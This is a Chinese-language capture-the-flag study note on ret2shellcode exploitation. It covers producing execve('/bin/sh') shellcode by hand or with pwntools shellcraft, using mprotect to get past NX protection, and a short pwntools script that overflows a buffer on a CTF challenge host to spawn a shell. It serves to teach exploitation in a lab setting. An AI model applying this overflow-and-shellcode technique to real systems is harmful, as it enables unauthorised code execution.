知识点:1.shellcode获取
获取Shellcode的两种方法:
手写:想办法调用execve("/bin/sh",null,null)
传入字符串:/bin///sh
系统调用execve
pwntools自动生成:
先指定context.arch="i386/amd64"
asm(自定义shellcode)
asm(shellcraft.sh())自动生成shellcode
2.ret2shellcode题型开NX保护之后,常用函数mprotect()
主要关注参数prot:
r:4
w:2
x:1
prot为7(1+2+4)就是rwx可读可写可执行即rwx为二进制111,全开
运行函数mprotect()
通过函数mprotect()
,即使程序开了NX保护,也可执行shellcode
from pwn import *
context(log_level = "debug", arch = 'amd64')
p = remote('node5.anna.nssctf.cn', 27163)
buff_addr = 0x4040A0
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x100+8, b'a') + p64(buff_addr)
p.sendline(payload)
p.interactive()
shellcode = asm(shellcraft.sh()):使用shellcraft模块生成一个shellcode,这个shellcode用于在成功溢出后执行一个shell。
payload = shellcode.ljust(0x100+8, b'a') + p64(buff_addr):构建payload,首先将shellcode左对齐到0x100+8的位置(通常是缓冲区的大小加上返回地址的偏移),然后用p64函数将buff_addr地址转换为64位的pwntools表达式,并追加到payload的末尾。